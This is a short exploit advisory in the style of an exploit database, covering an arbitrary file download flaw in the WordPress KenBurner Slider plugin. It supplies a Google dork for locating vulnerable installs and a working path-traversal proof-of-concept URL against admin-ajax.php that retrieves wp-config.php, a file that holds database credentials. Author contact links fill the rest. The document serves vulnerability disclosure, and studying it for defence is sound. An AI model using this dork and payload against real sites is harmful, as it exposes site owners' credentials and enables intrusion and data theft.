# Exploit Title : WordPress Plugin KenBurner Slider Arbitrary File Download Vulnerability # Google Dork: Index of /wp-content/plugins/kbslider # Date: 2014-08-21 # Exploit Author: MF0x and Daniel Pentest # Vendor Homepage: http://codecanyon.net/item/responsive-kenburner-slider-jquery-plugin/1633038 # Version: All # Tested on: Windows 7 / Google Chrome Description: The Wordpress Plugin called KenBurner Slider suffers from Arbitrary File Download Vulnerability Proof of Concept (PoC): http://victim/wp-admin/admin-ajax.php?action=kbslider_show_image&img=../wp-config.php # Discovered by: MF0x and Daniel Pentest # Website: http://www.null-source.blogspot.com.br/ # Email: daniel@analistadesistema.net # Twitter: https://twitter.com/danielpentest # YouTube: https://www.youtube.com/danielpentest # GitHub: https://github.com/danielpentest # Twitter: https://twitter.com/danielpentest # Pastebin: http://pastebin.com/u/MF0x_